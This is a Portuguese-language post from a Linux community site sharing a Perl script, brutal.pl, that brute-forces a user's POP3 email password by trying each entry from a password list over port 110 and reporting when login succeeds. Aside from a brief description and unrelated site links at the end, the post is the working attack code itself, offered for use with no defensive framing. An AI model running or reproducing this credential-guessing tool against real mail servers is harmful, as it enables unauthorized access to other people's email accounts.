Brutal Force Attack
Publicado por Fábio Berbert de Paula 13/11/2002
[ Hits: 16.404 ]
Homepage: https://fabio.automatizando.dev
Tenta fazer a adivinhação da senha de um usuário de email através da técnica de invasão por força bruta, ou seja, tentativa e erro. O script utiliza o módulo IO::Socket para efetuar conexão com o servidor POP.
#!/usr/bin/perl
#############################################
# brutal.pl
#
# Programa que simula um ataque brutal force
# em servidores de email através da tentativa
# de invasão por adivinhação de senha.
#
# Programado por: Fábio Berbert de Paula
# E-mail: fabio@vivaolinux.com.br
# Web Site: www.vivaolinux.com.br
#
# Rio de Janeiro, 12 de Agosto de 2002
# ##########################################
use strict;
use IO::Socket;
if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
exit(0);
}
my ($server,$user,$pwfile) = @ARGV;
if (! -f $pwfile) {
print "Erro: $pwfile não é um nome de arquivo válido!\n";
exit;
}
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;
print "Tentativa: $passwd ...\n";
my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);
if (!defined($connex)) {
print "Erro ao conectar ao servidor $server ...\n";
exit(0);
}
$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);
if ($state =~ /^\+OK/) {
print "Cracked!!! A senha do usuário $user é $passwd\n";
exit;
}
$connex -> close;
sleep(5);
}
sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
Testando multiplos servers a ataque DoS
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como instalar , particionar, formatar e montar um HD adicional no Linux?
Como automatizar sua instalação do Ubuntu para desenvolvimento de software.
Consertando o áudio com estalos e interrupções no Pipewire
Dá para criar um bom jogo usando a linguagem de programação C? (0)
E como programar um sistema operacional inspirado no próprio linux usa... (3)
REDE WI-FI NÃO APARECE NO LINUX MINT (2)
Como programar um sistema de controle para distribuições linux em c? ... (4)









